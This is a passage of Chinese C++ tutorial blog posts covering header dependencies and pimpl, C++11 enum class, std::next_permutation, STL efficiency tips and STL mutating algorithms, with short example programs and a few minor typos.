编译的实质，是根据源文件生成目标文件的代码段和数据段。这一点对于理解前向声明非常重要。


图解说


假设我们有4个源文件和4个头文件，include关系如下


//  A.h                             A.cc
#include "B.h"                     #include "A.h"

----------------------------------------------------
//  B.h                             B.cc
#include "C.h"                     #include "B.h"

----------------------------------------------------
//  C.h                             C.cc
#include nothing                   #include "C.h"

----------------------------------------------------
//  D.h                             D.cc
#include "A.h"                     #include "D.h"
                                   #include "C.h" 



我们可以用一张图来表示这8个文件的预处理和编译两个阶段





虚箭头表示编译，是一对一的，没什么好说的。实箭头表示 #incude 关系。如果一个文件有修改，那么所有直接或间接依赖它的源文件都要重新编译。下面我们就根据此图讲解C++工程中的代码依赖问题。




3. 重复include


D.cc两次包含C.h，一次直接包含，一次通过间接包含。这会引起重定义错误，有两种方法解决。


经典的 ifndef


// A.h
#ifndef A_H
#define A_H

// class definition

#endif



或者 pragma once


// A.h
#pragma once

// class defnition





4. 循环依赖


一旦代码中有循环依赖，编译将失败。上文的8个文件没有循环依赖，图中找不到有向循环路径。


万一你的代码出现循环依赖，请将导致循环依赖的代码提出来，放到新文件中。




5. 前向声明


前两个问题关乎对错，跟编译速度关系不大。现在开始，我们探讨怎么加快代码编译速度。


我们向文件中加点东西


//  A.h                             A.cc
#include "B.h"                     #include "A.h"

class A {                          ....
public:
  void f1(B* b);                   void A::f1(B* b) {
                                     b->f3();
  void f2();                       }
};

----------------------------------------------------
//  B.h                             B.cc
#include "C.h"                     #include "B.h"

class B {
public:
  void f3();
};

----------------------------------------------------
//  C.h                             C.cc
#include nothing                   #include "C.h"

----------------------------------------------------
//  D.h                             D.cc
#include "A.h"                     #include "D.h"
                                   #include "C.h"

class D {
public:
private:
  A a;
};



根据前文的依赖图，如果 B.h 修改，那么 A.cc 和 D.cc 都要重新编译。但是， D.cc 不应该重新编译，因为 class D 只受 class A 内存布局的影响，而 class A 的内存布局与 class B 没有关系，只是f1需要一个class B指针的参数而已。


于是C++允许 A.h 不包含 B.h ，只需声明 class B 即可，告诉编译器 B 这丫是个类名哈。A.h用前向声明替代include，但是 A.cc 中利用了 class B 的实现，所以 A.cc 要加一条 include（放心，源文件中的include不会传染，很少有 include 源文件的）


//  A.h                             A.cc
class B;                           #include "A.h"
                                   #include "B.h"

class A {                          ....
public:
  void f1(B* b);                   void A::f1(B* b) {
                                     b->f3();
  void f2();                       }
};



依赖线一增一减，数量虽然没变，但是效果改善不少啊







6. Pimpl idiom


是不是有点儿累了，先歇会儿，然后再来看另外一个削减依赖的重磅武器 Piml（pointer to implementation）。


pimpl idiom主要运用在库的接口设计中。如果团队人数达100，有一个维护基础库的小组。原则上除了接口升级，基础库的任何升级都不应该触发应用层模块的重编译。


我们假设 A.h 是基础库的接口，B.cc 是应用层源文件。


// A.h                      A.cc
#include "xx.h"
#include "yy.h"
#include "zz.h"

class A {                       
public: 
  A();                     A() { ... }
  ~A();                    ~A() { ... }
  void f1();               void A::f1() { ... }
  void f2();               void A::f2() { ... }
private:
  XX x;
  YY y;
  ZZ z;
};

-----------------------------------------------------
// B.cc
#include "A.h"

class B {
public:
private:
  A a;
};



依赖图如下





从依赖图明显看出这种代码组织方式有缺陷，XX.h, YY.h, ZZ.h 任何一个文件的修改都会触发 B.cc 重编译。那三个文件都是库内部的文件，原则上是与B.cc无关的，并且这三个头文件很可能包含别的头文件，导致程序库最深处的修改都能轻易触发应用层代码重编译。


这时候该Pimpl显身手了，我们把 A.h, A.cc 改造如下


// A.h                         A.cc
class A {                      #include "A.h"   
public:                        #include "XX.h"
  A();                         #include "YY.h"
  ~A();                        #include "ZZ.h"
  void f1();                 
  void f2();                   class A::Impl {
private:                       public:
  class Impl;                    Impl() { ... }
  Impl* impl_;                   ~Impl() { ... }
};                               void f1() { ... }
                                 void f2() { ... }
                               private:
                                 XX x;
                                 YY y;
                                 ZZ z;
                               };

                               A::A() : impl_(new A::Impl()) {}
                               A::~A() { delete impl_; }

                               void A::f1() {
                                 impl_->f1();
                               }

                               void A::f2() {
                                 impl_->f2();
                               }




把A中所有非接口的东西都移到Impl中去，依赖图变成下面的样子。





从依赖图看出，只有 A.h 的修改才能触发 B.cc 重编译，而 A.h 中只有库接口，库的接口都变了，应用层当然要重编译咯。




7. 参考资料



	C++ Compilation Speed

	Pimpl For Compile-Time Encapsulation (Modern C++)




 C++枚举

作者：wankai

来源： C++枚举



                    
1. 介绍


第一次学习枚举类型时，觉得这个名字很诡异。但是后来发现，“枚举”真的特别传神，枚举就是可数的意思。


当你发现某个类型的值是数得过来的，那就派枚举出场吧。




2. C++11前的枚举


C++11是个大版本，一定程度上重新定义了C++，其中就包括新增的emum class。追本溯源，我们先看老枚举。


enum Color { WHITE=1, BLACK=2 };



名字冲突


如果我们的代码定义了两个不同的枚举类型，而它们的枚举值取了相同的名字，那么编译器将报错。


enum Color { WHITE=1, BLACK=2 };

enum Species { BLACK=1, WHITE=2, YELLOW=3 };



这种错误在以下情况很容易发生



	多人协作，员工A还来不及知道员工B是怎么定义Color的

	与库冲突，如果Color是在库中定义的，程序员更有可能如此定义



于是公司为了减少此类错误，可能制定如下编程规范：



  所有的枚举，值的名字都要以该枚举名为前缀




于是Species定义如下，是不是略感繁琐呢？


enum Species {
     SPECIES_BLACK = 1,
     SPECIES_WHITE = 2,
     SPECIES_YELLOW = 3
};



类型不安全


名字冲突会在编译期暴露，但是类型问题却会躲过编译器的审查，导致难以追踪的逻辑Bug，更为可怕。老式枚举很大程度上只是个整数类型。


枚举可以直接和数字比较


enum Color { COLOR_WHITE=1, COLOR_BLACK=2 };

if (COLOR_WHITE == 1) {
    // do something
}



不同的枚举也可以比较


enum Color { COLOR_WHITE=1, COLOR_BLACK=2 };

enum Species {
    SPECIES_BLACK=1,
    SPECIES_WHITE=2,
    SPECIES_YELLOW=3
};

if (COLOR_WHITE == SPECIES_BLACK) {
    // do something
}



不要以为程序员不会犯这样的错误，当被产品经理的需求踢着屁股跑时，他们可什么事情都干得出来。


不能前向声明


前向声明是隐藏实现和减少代码依赖的有利工具。但是下面的代码会编译报错。


// forward declaration
enum Color;

class A {
public:
    void foo(Color c);
private:
    // some members ..
};



C++的编译过程其实是内存布局的过程。当我们前向声明class时，会使用指针或引用，内存大小固定是8个字节（64位机器）。但这里使用的是Color本身，而枚举的大小其实是由实现决定的。


enum Color { COLOR_WHITE = 1, COLOR_BLACK = 2 };
// sizeof(Color) == 4

enum Color { COLOR_WHITE = 100000000000, COLOR_BLACK = 2 };
// sizeof(Color) == 8



看到没有，一般情况下枚举的大小是4字节，当枚举值太大时，就会变成8字节。所以编译器并不能仅靠前向声明下判断。




3. C++11的枚举


C++11提出了enum class，也称为strong typed enum，它解决了老式枚举的三个问题


名字冲突


enum class Color { WHITE=1, BLACK=2 };
enum class Species { BLACK=1. WHITE=2, YELLOW=3, BROWN=4 };

// 使用时，枚举类型名为上层命名空间
// Color::WHITE
// Color::BLACK
// Species::BLACK
// Species::YELLOW



类型安全


枚举不能直接和数字比较


// 编译报错
if (Color::WHITE == 1) {
    // do something
}



不同的枚举不能比较


// 编译报错
if (Color::WHITE == Species::WHITE) {
    // do something
}



前向声明


enum class 可以指定底层的实现，所以编译器就知道枚举的大小了。


// 成功编译，哈哈
// 还可以指定 int, unsigned int, short等，整数类型都可以
enum class Color : char;

class A {
public:
    void foo(Color c);
};

enum class Color : char { WHITE=1, BLACK=2 };
// sizeof(Color) == 1





4. C++11 提醒


虽然enum class做了很多改进，但是并不完美，还是有很多值得注意的地方。


enum class不是类


新枚举不是class，而是一个单独的类型，更像是整数类型的封装。它没有像类一样的构造和析构机制。如果定义一个未指定值的枚举，那么默认值是0，即使定义中没有0


enum class Color { WHITE=1, BLACK=2 };
Color c;

static_cast<int>(c); // it's 0



enum class不能定义方法


这是我怨念的地方。有时候我想把枚举以字符串的形式打印出来，可读性更好。如果能像下面一样写代码多好，可惜enum class不支持定义任何方法。


Color c = Color::WHITE
// 不可能如此调用
c.toString()  // "white"



于是只能用单独的函数实现了，代码的组织不够紧凑，也没够美观。


const char* ColorToString(Color c)
{
    switch (c) {
      case Color::WHITE:
        return "white";
      case Color::BLACK:
        return "black";
      default:
        abort();    // 可能是未初始化的枚举，这属于逻辑错误
    }
}





5. 参考资料



	Bjarne Stroustrup's C++11 FAQ

	Better types in C++11 - nullptr, enum classes (strongly typed enumerations) and cstdint

	StackOverflow: Why is enum class preferred over plain enum?




 排列组合技术

作者：pezy

来源： 排列组合技术



                    
<algorithm> 库里有一个名不见经传的函数叫做：std::next_permutation


简单写个用法示例：


cpp#include <iostream>
#include <array>
#include <algorithm>

int main()
{
    std::array<int, 4> A = {1,2,3,4};
    do {
        for (auto i : A)
            std::cout << i << " ";
        std::cout << std::endl;
    } while (std::next_permutation(A.begin(), A.end()));
}



输出（截取部分）：


1 2 3 4 // 2->3->4 : ascending
1 2 4 3
1 3 2 4
1 3 4 2
1 4 2 3
1 4 3 2 // 4->3->2 : descending
2 1 3 4
2 1 4 3
2 3 1 4



恐怕你已经发现了，这个方法可以帮助我们列出某个容器的全套排列组合。它其实还有一个兄弟函数，名曰 std::prev_permutation，一个是向前排列，一个是向后排列，算法上大同小异。




探秘


提到这个，原因一是这对姐妹藏在深闺无人知，科普一下；更重要的原因，是我对于其排列的算法很感兴趣，它是按照什么顺序来进行排列组合的？这个 STL 算法函数如果让我来实现，会如何实现？


实际上，仔细观察上面输出，大体上我们可以看出一点端倪：



	总体上是从小到大。如从 1 开头，到 2 开头。

	当 1 开头时，将全部 1 开头的组合列完。

	如何保证第 2 条？发现规律是，除去开头的 1 ，剩下三个数，呈这样的规律：从递增排列到递减。

	第 3 条是大方向，我们再细究每一步。发现局部范围内，也是将递增变为递减，如 3,4 -> 4,3



综上，我们若要得到下一步的组合，应该将注意力集中在递增的子序列上，设置两个迭代器，start 与 last，分别指向递增子序列的手尾，用此来重点分析一下从第二行到第三行的转变。


1 2 4 3
  ^ ^
  s l



这种情况下， s 指向了 2，意味着 1,2 开头的组合已经排列完毕，根据第 1 条，我们希望去排列 1,3 开头的组合了。而此刻 3 在行尾，我们就希望将其提取到 2 的前头去。即变成：


1 3 2 4



果然就是咱们想要的了。可是这个插入过程实际上应分为两步：



	swap(2, 3);

	4 以后的元素全部逆序



解释一下第二步，当 last 指向 4，这已经意味着 4 以后一定是降序的，即使交换了 2,3 也无法改变这个顺序。而我们所希望的，显然是保持 2,4 这样的升序，作为 1,3 开头排列的起始。所以才有了第二步的逆序。




动手


讲明算法，再来理一理实现思路。



	首先，容器为空，或是仅有一个元素，自然返回 false。

	然后，需要初始化 start 的位置，我们希望从后往前找，故初始状态下，指向最后一个元素。

	最后，开始迭代过程，定位 start 与 last 的位置，详细直接见代码：



cpp#include <algorithm>

template<class Iterator>
bool my_next_permutation(Iterator beg, Iterator end)
{
    if (beg == end) return false;    // 容器为空
    Iterator start = end;
    if (beg == --start) return false;    // 仅有一个元素

    for(;;) {
        Iterator last = start--;    // last 指向最后一个元素，并将 start 前移

        if (*start < *last) {    // 直至定位到一个升序序列
            Iterator riter = end;    // 依旧从尾部开始
            while (!(*start < *--riter))    // 找到下一个排列的开头，恰是第一个大于当前开头的元素
                ;
            std::iter_swap(start, riter);    // 交换
            std::reverse(last, end);    // 逆序
            return true;
        }
        if (start == beg) {    // 特殊情况，即全部排列完毕(整体降序)，回到初始(整体升序)
            std::reverse(beg, end);
            return false;
        }
    }
}





面试


实际上，这道题也是一道面试题，请见：Next Permutation on LeetCode


动手做做吧~


 高效使用 STL 的 11 个条款

作者：大CC

来源： 高效使用 STL 的 11 个条款



                    
仅仅是个选择的问题，都是STL，可能写出来的效率相差几倍；

熟悉以下条款，高效的使用STL；


当对象很大时，建立指针的容器而不是对象的容器



	STL基于拷贝的方式的来工作，任何需要放入STL中的元素，都会被复制；

这也好理解，STL工作的容器是在堆内开辟的一块新空间，而我们自己的变量一般存放在函数栈或另一块堆空间中；为了能够完全控制STL自己的元素，为了能在自己的地盘随心干活；这就涉及到复制；

而如果复制的对象很大，由复制带来的性能代价也不小 ；

对于大对象的操作，使用指针来代替对象能消除这方面的代价；


	
只涉及到指针拷贝操作， 没有额外类的构造函数和赋值构造函数的调用；


vecttor <BigObj> vt1;
vt1.push_bach(myBigObj);

vecttor <BigObj* > vt2;
vt2.push_bach(new BigObj());






注意事项：



	容器销毁前需要自行销毁指针所指向的对象；否则就造成了内存泄漏；

	使用排序等算法时，需要构造基于对象的比较函数，如果使用默认的比较函数，其结果是基于指针大小的比较，而不是对象的比较；



用empty() 代替size()来检查是否为空


因为对于list，size()会遍历每一个元素来确定大小，时间复杂度 o（n），线性时间；而empty总是保证常数时间；


尽量用区间成员函数代替单元素操作


使用区间成员函数有以下好处：



	更少的函数调用

	更少的元素移动

	更少的内存分配



例：将v2后半部的元素赋值给v1：


单元式操作：


for (vector<Widget>::const_iterator ci = v2.begin() + v2.size() / 2;
ci != v2.end();
++ci)
v1.push_back(*ci)



使用区间成员函数assign()：


v1.assign(v2.begin() + v2.size() / 2, v2.end()); 



使用reserver避免不必要的内存分配(for vector)


新增元素空间不够时，vector会进行如下操作：



	分配当前空间的两倍空间；

	将当前元素拷贝到新的空间中；

	释放之前的空间；

	将新值放入新空间指定位置；



如果预先知道空间的大小，预先分配了空间避免了重新分配空间和复制的代价；

注：reserve()只是修改了容量，并非大小，向vector中增加元素还是需要通过push_back加入；


使用有序的vector代替关联容器(阶段性的操作适用)


对阶段性操作的定义：

先做一系列插入、完成之后，后续操作都是查询；


在阶段性的操作下，使用vector有以下优势：



	因为vector有序，关联容器带来的有序优势散失；

	都是使用二分法查找的前提下，查询算法对连续的内存空间的访问要快于离散的空间；



在map的insert()和operator［］中仔细选择


插入时，insert效率高；因为operator会先探查是否存在这个元素，如果不存在就构造一个临时的，然后才涉及到赋值，多了一个临时对象的构造；


更新时，［］效率更高，insert会创造一个对象，然后覆盖一个原有对象；而［］是在原有的对象上直接赋值操作；


散列函数的默认比较函数是equal＿to，因为不需要保持有序；


尽量用算法替代手写的循环



	效率相比手写更高；

STL的代码都是C++专家写出来的，专家写出来的代码在效率上很难超越；

除非我们放弃了某些特性来满足特定的需求，可能能快过stl；比如，基于特定场合下的编程，放弃通用性，可移植性；

	不容易出错；

	使用高层次思维编程

相比汇编而言，C是高级语言；一条C语言语句，用汇编写需要好几条；

同样的，在STL的世界中，我们也有高层次的术语：

高层次的术语：insert／find／for＿each（STL算法）

低层次的词汇：for ／while（C++语法）

用高层次术语来思考编程，会更简单；



尽量用成员函数代替同名的算法



	基于效率考虑，成员函数知道自己这个容器和其他容器有哪些特有属性，能够利用到这些特性；而通用算法不可以；

	对于关联容器，成员函数find基于等价搜索；而通用算法find基于相等来搜索；可能导致结果不一样；



使用函数对象代替裸函数作为算法的输入参数


因为内联，在函数对象的方式中，内联有效，而作为函数指针时，一般编译器都不会内联函数指针指向的函数；即使指定了inline；

比如：


inline bool doubleGreater(double d1, double d2)
{
    return dl > d2;
}
vector<double> v;
...
sort(v.begin(), v.end(), doubleGreater);



这个调用不是真的把doubleGreater传给sort，它传了一个doubleGreater的指针。

更好的方式是使用函数对象：


sort(v.begin(), v.end(), greater<double>())



注：《effcient c＋＋》中的实验结论，使用函数对象一般是裸函数的1.5倍，最多能快2倍多


选择合适的排序算法


需要排序前思考我们的必要需求，可能我们只是需要前多少个元素，这时并不需要使用sort这种线性时间的工具，性能消耗更少的parttition可能是更好的选择；


以下算法的效率从左到右依次递减：


partition > stable_partition / nth_element / patical_sort / sort / stable_sort



功能说明：



	partition ：将集合分隔为满足和不满足某个标准两个区间；

	stable_partition ：partition的稳定版本；

	nth_element ：获取任意顺序的前N个元素；

	patical_sort ：获取前N个元素，这个N个元素已排序；

	sort：排序整个区间；

	stable_sort：sort的稳定版本；



选择合适的容器


为什么vector不提供push_front()成员方法？因为效率太差，如果有太多从前面插入的需求，就不应该使用vector，而用list；

关心查找速度，首先应该考虑散列容器（非标准STL容器,如：unordered_map,unordered_set)；其次是排序的vector，然后是标准的关联容器；


参考


《effictive STL》

《Efficient C++》


推荐支持


如果你觉得本文对你有所帮助，请点击以下【推荐】按钮, 让更多人阅读；




Posted by: 大CC | 25JUN,2015

博客：blog.me115.com [订阅]

微博：新浪微博


 变易算法 - STL算法

作者：Sintune

来源： 变易算法 - STL算法



                    
摘要：C++ STL标准模板库在数据结构和算法的实践领域发挥着重要作用，极大的提高了开发效率。STL的三大组成部分为容器、迭代器、算法，本文主要讲解STL算法中的变易算法。本文从实践的角度简单介绍了一下函数原型和相关函数的使用。


引言


C++ STL的变易算法（Mutating Algorithms）是一组能修改容器元素数据的模板函数，可进行序列数据的复制、交换、替换、填充、移除、旋转、随机抖动、分割。这些算法函数对迭代器有较高要求，在应用时，先要检查容器的迭代器是否符合要求，防止产生编译错误。


元素复制算法


copy函数


该函数用于容器间元素拷贝，将迭代器区间[first, last)的元素复制到由复制目标迭代器result给定的区间[result, result + (last - first))。


函数原型如下：


template<class InputIterator, class OutputIterator>
  OutputIterator copy (InputIterator first, InputIterator last, OutputIterator result)



注意：目标容器的容量要比待复制的内容大。


下面的示例程序将容器v中的内容复制到容器v2，并打印容器v2的元素。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    v.push_back(2);
    v.push_back(4);
    v.push_back(3);
    vector<int> v2(4);
    v2.push_back(8);
    copy(v.begin(), v.end(), v2.begin());
    for_each(v2.begin(), v2.end(), print);
    return 0;
}



结果输出为：


2 4 3 0 8


copy_backward函数


将一个迭代器区间的内容复制到另一迭代器区间，与copy()相似，不同的是复制过程从最后的元素开始。


函数原型如下：


template<class BidirectionalIterator1, class BidirectionalIterator2>
  BidirectionalIterator2 copy_backward ( BidirectionalIterator1 first,
                                         BidirectionalIterator1 last,
                                         BidirectionalIterator2 result )



下面的示例程序将容器v的内容复制到容器v2中，从后往前复制。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    v.push_back(2);
    v.push_back(4);
    v.push_back(3);
    vector<int> v2(4);
    v2.push_back(8);
    copy_backward(v.begin(), v.end(), v2.end());
    for_each(v2.begin(), v2.end(), print);
    return 0;
}



输出结果为：


0 0 2 4 3


元素交换算法


swap函数


该函数的功能是实现两个元素的交换。虽然大多数容器内部都提供了swap函数，这里提供了更一般的迭代器形式。


函数原型如下：


template <class T> void swap ( T& a, T& b )



下面的示例程序用于交换两个整数并打印。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
int main(void) {
    int a = 2;
    int b = 3;
    swap(a, b);
    cout << a << ", " << b << endl;
    return 0;
}



输出结果为：


3, 2


iter_swap函数


iter_swap函数是swap函数的迭代器形式，使交换算法更易用于一般的容器。

这个函数和上面的swap()有什么不同呢？


函数原型如下：


template <class ForwardIterator1, class ForwardIterator2>
  void iter_swap (ForwardIterator1 a, ForwardIterator2 b)



下面的示例程序用于交换两个容器，并打印容器元素。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    vector<int> v2;
    v.push_back(2);
    v.push_back(3);
    v2.push_back(7);
    v2.push_back(8);
    v2.push_back(9);
    swap(v, v2);
    for_each(v.begin(), v.end(), print);
    return 0;
}



输出结果为：


7 8 9


swap_ranges函数


该函数用于两个迭代器区间元素的交换。


函数原型如下：


template<class ForwardIterator1, class ForwardIterator2>
  ForwardIterator2 swap_ranges (ForwardIterator1 first1, ForwardIterator1 last1,
                                ForwardIterator2 first2)



下面的示例程序用于容器v与容器v2的前两个元素交换，并打印交换结果。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    vector<int> v2;
    v.push_back(2);
    v.push_back(3);
    v2.push_back(7);
    v2.push_back(8);
    v2.push_back(9);
    swap_ranges(v2.begin(), v2.end() - 1, v.begin());
    for_each(v.begin(), v.end(), print);
    cout << endl;
    for_each(v2.begin(), v2.end(), print);
    cout << endl;
    return 0;
}



输出结果为：


7 8

2 3 9


transform函数


该函数用于容器元素的变换操作。有两个使用原型，分别用于一元函数对象和二元函数操作。


函数原型如下：


template <class InputIterator, class OutputIterator, class UnaryOperation>
  OutputIterator transform (InputIterator first1, InputIterator last1,
                            OutputIterator result, UnaryOperation op)

template <class InputIterator1, class InputIterator2,
          class OutputIterator, class BinaryOperation>
  OutputIterator transform (InputIterator1 first1, InputIterator1 last1,
                            InputIterator2 first2, OutputIterator result,
                            BinaryOperation binary_op)



下面的示例程序将容器v中的元素加倍，并输出元素的值。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int twice(int x) {
    return 2 * x;
}
int main(void) {
    vector<int> v;
    v.push_back(2);
    v.push_back(4);
    vector<int> v2(v.size());
    transform(v.begin(), v.end(), v2.begin(), twice);
    for_each(v2.begin(), v2.end(), print);
    return 0;
}



输出结果为：


4 8


元素替换算法


replace函数


该函数用于将指定函数值替换为新值。


函数原型如下：


template <class ForwardIterator, class T>
  void replace (ForwardIterator first, ForwardIterator last,
                const T& old_value, const T& new_value)



下面的示例程序将容器v中值为5的元素的值替换为6。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    v.push_back(3);
    v.push_back(5);
    v.push_back(8);
    replace(v.begin(), v.end(), 5, 6);
    for_each(v.begin(), v.end(), print);
    return 0;
}



输出结果为：


3 6 8


replace_if函数


该函数是replace函数的谓词判断版本，将满足谓词条件的元素替换为新值。


函数原型如下：


template <class ForwardIterator, class UnaryPredicate, class T>
  void replace_if (ForwardIterator first, ForwardIterator last,
                   UnaryPredicate pred, const T& new_value )



下面的示例程序将容器v中值为偶数的元素的值替换为2。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int odd(int x) {
    return !(x % 2);
}
int main(void) {
    vector<int> v;
    v.push_back(3);
    v.push_back(5);
    v.push_back(8);
    replace_if(v.begin(), v.end(), odd, 2);
    for_each(v.begin(), v.end(), print);
    return 0;
}



输出结果为：


3 5 2


replace_copy函数


该函数先进行元素替换，再将元素复制到新容器。


函数原型如下：


template <class InputIterator, class OutputIterator, class T>
  OutputIterator remove_copy (InputIterator first, InputIterator last,
                              OutputIterator result, const T& val)



下面的示例程序将容器v中值为5的元素的值替换为6，并复制到容器v2。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    v.push_back(3);
    v.push_back(5);
    v.push_back(8);
    vector<int> v2(v.size());
    replace_copy(v.begin(), v.end(), v2.begin(), 5, 6);
    for_each(v2.begin(), v2.end(), print);
    return 0;
}



输出结果为：


3 6 8


replace_copy_if函数


该函数是replace_copy的一元谓词判断版本，用法相似。


函数原型如下：


template <class InputIterator, class OutputIterator, class UnaryPredicate, class T>
  OutputIterator replace_copy_if (InputIterator first, InputIterator last,
                                  OutputIterator result, UnaryPredicate pred,
                                  const T& new_value)



下面的示例程序将容器v中值为偶数的元素的值替换为2，并复制到容器v2。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int odd(int x) {
    return !(x % 2);
}
int main(void) {
    vector<int> v;
    v.push_back(3);
    v.push_back(5);
    v.push_back(8);
    vector<int> v2(v.size());
    replace_copy_if(v.begin(), v.end(), v2.begin(), odd, 2);
    for_each(v2.begin(), v2.end(), print);
    return 0;
}



输出结果为：


3 5 2


元素填充算法


fill函数


该函数将同一个值填充到迭代器区间内。


函数原型如下：


template <class ForwardIterator, class T>
  void fill (ForwardIterator first, ForwardIterator last, const T& val)



下面的示例程序将拥有5个元素的容器v全填充为9。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v(5);
    fill(v.begin(), v.end(), 9);
    for_each(v.begin(), v.end(), print);
    return 0;
}



输出结果为：


9 9 9 9 9


fill_n函数


与fill函数相似，但可指定填充的元素的个数。


函数原型如下：


template <class OutputIterator, class Size, class T>
  void fill_n (OutputIterator first, Size n, const T& val)



下面的示例程序将容器v的前3个元素填充为9。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v(5);
    fill_n(v.begin(), 3, 9);
    for_each(v.begin(), v.end(), print);
    return 0;
}



输出结果为：


9 9 9 0 0


generate函数


该函数用于随机生成函数，将迭代器区间内的元素填充为生成的元素。


函数原型如下：


template <class ForwardIterator, class Generator>
  void generate (ForwardIterator first, ForwardIterator last, Generator gen)



下面的程序将生成公比为3的等比数列。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int next(int x) {
    return 2;
}
class Seq {
public:
    int a;
    Seq() {
        a = 1;
    }
    inline int operator()() {
        a *= 3;
        return a;
    }
};
int main(void) {
    vector<int> v(5);
    Seq seq;
    generate(v.begin(), v.end(), seq);
    for_each(v.begin(), v.end(), print);
    return 0;
}



输出结果为：


3 9 27 81 243


generate_n函数


该函数与generate相似，只是限定了填入容器的数值个数。


函数原型如下：


template <class OutputIterator, class Size, class Generator>
  void generate_n (OutputIterator first, Size n, Generator gen)



下面的示例程序将容器v的前3个元素填充为伪随机数。


#include <iostream>
#include <vector>
#include <algorithm>
#include <cstdlib>
#include <ctime>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int getRand(void) {
    return (rand() % 100);
}
int main(void) {
    vector<int> v(6);
    srand(unsigned(time(0)));
    generate_n(v.begin(), 3, getRand);
    for_each(v.begin(), v.end(), print);
    return 0;
}



输出结果为：


48 19 84 0 0 0


元素移除算法


remove函数


该函数用于将容器中等于某个给定值的元素全部移除掉，并返回表示容器结束位置的迭代器。


函数原型如下：


template <class ForwardIterator, class T>
  ForwardIterator remove (ForwardIterator first, ForwardIterator last, const T& val)



下面的示例程序将容器v中值为3的元素移除掉了，并把剩余元素打印出来。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    v.push_back(2);
    v.push_back(3);
    v.push_back(5);
    vector<int> v2(4);
    vector<int>::iterator result = remove(v.begin(), v.end(), 3);
    for_each(v.begin(), result, print);
    return 0;
}



输出结果为：


2 5


remove_if函数


该函数是remove函数的一个带谓词判断的版本，将满足一元谓词判断条件的元素移除掉。


函数原型如下：


template <class ForwardIterator, class UnaryPredicate>
  ForwardIterator remove_if (ForwardIterator first, ForwardIterator last,
                             UnaryPredicate pred)



下面的示例程序将容器v中值为偶数的元素移除掉了。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
int isOdd(int x) {
    return !(x % 2);
}
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    v.push_back(3);
    v.push_back(7);
    v.push_back(8);
    vector<int>::iterator result =  remove_if(v.begin(), v.end(), isOdd);
    for_each(v.begin(), result, print);
    return 0;
}



输出结果为：


3 7


remove_copy函数


该函数先进行元素移除，再将元素复制到新容器，实质上是一个条件复制。


函数原型如下：


template <class InputIterator, class OutputIterator, class T>
  OutputIterator remove_copy (InputIterator first, InputIterator last,
                              OutputIterator result, const T& val)



下面的示例程序将容器v中值不为3的元素复制到新容器v2。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    v.push_back(2);
    v.push_back(3);
    v.push_back(5);
    vector<int> v2(4);
    remove_copy(v.begin(), v.end(), v2.begin(), 3);
    for_each(v2.begin(), v2.end(), print);
    return 0;
}



输出结果为：


2 5 0 0


remove_copy_if函数


该函数是remove_copy的一个带谓词判断版本，将不满足一元谓词判断条件的元素复制到新容器。


函数原型如下：


template <class InputIterator, class OutputIterator, class UnaryPredicate>
  OutputIterator remove_copy_if (InputIterator first, InputIterator last,
                                 OutputIterator result, UnaryPredicate pred)



下面的示例程序将容器v中值不是偶数的元素复制到新容器v2中。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
int isOdd(int x) {
    return !(x % 2);
}
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    v.push_back(3);
    v.push_back(7);
    v.push_back(8);
    vector<int> v2(5);
    remove_copy_if(v.begin(), v.end(), v2.begin(), isOdd);
    for_each(v2.begin(), v2.end(), print);
    return 0;
}



输出结果为：


3 7 0 0 0


unique函数


该函数用于剔除容器中连续重复的元素，只保留一个。有两个使用原型，可以使连续重复的原型，或不连续但满足二元谓词判断条件的元素。


函数原型如下：


template <class ForwardIterator>
  ForwardIterator unique (ForwardIterator first, ForwardIterator last)

template <class ForwardIterator, class BinaryPredicate>
  ForwardIterator unique (ForwardIterator first, ForwardIterator last,
                          BinaryPredicate pred)



下面的示例程序将容器v中连续重复元素剔除。


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    v.push_back(2);
    v.push_back(2);
    v.push_back(3);
    v.push_back(5);
    vector<int>::iterator result = unique(v.begin(), v.end());
    for_each(v.begin(), result, print);
    return 0;
}



输出结果为：


2 3 5


unique_copy函数


该函数用于复制不连续重复的元素。同样有两个使用原型。


函数原型如下：


template <class InputIterator, class OutputIterator>
  OutputIterator unique_copy (InputIterator first, InputIterator last,
                              OutputIterator result)

template <class InputIterator, class OutputIterator, class BinaryPredicate>
  OutputIterator unique_copy (InputIterator first, InputIterator last,
                              OutputIterator result, BinaryPredicate pred)



下面的示例程序将容器v中连续重复元素剔除，并复制到新容器v2。


